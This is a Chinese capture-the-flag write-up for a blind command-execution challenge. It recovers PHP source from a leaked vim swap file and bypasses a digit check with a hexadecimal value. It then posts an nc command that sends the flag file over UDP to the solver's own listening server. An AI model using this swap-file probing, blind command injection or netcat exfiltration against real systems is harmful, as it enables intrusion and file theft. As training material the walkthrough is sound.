===============================

个人收获

1.命令盲注

2.vim文件泄露

3.nc的使用

 

================================

 

题目:

百度杯CTF比赛 十月场-------EXEC_php

 

查看源码出现这个,猜测为vim文件泄露

百度杯CTF比赛 十月场-------EXEC_php_02

再浏览器输入.index.php.swp果然出现下载连接

百度杯CTF比赛 十月场-------EXEC_vim_03

 

我们把下载来的文件用 vim打开

vim -r  .index.php.swp

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}

这里有一个check函数需要绕过,这个函数会对照number的每个数字,绕过再1-9的范围内就返回错误,但是最后又要==11259375,很明显这里可以用十六进制来绕过即可

里面还有 setcookie('auth','tcp tunnel is forbidden!'); 这段提示说明TCP被禁止不能用curl,而且cmd命令执行后也没有回显,但最前面的注释告诉了我们flag的文件,那么我们直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器

我们再服务器上运行

nc -u -l -p 55566

然后再题目哪post  cmd=nc -u 你的ip地址 55566 < flag233.php

百度杯CTF比赛 十月场-------EXEC_vim_04

百度杯CTF比赛 十月场-------EXEC_vim_05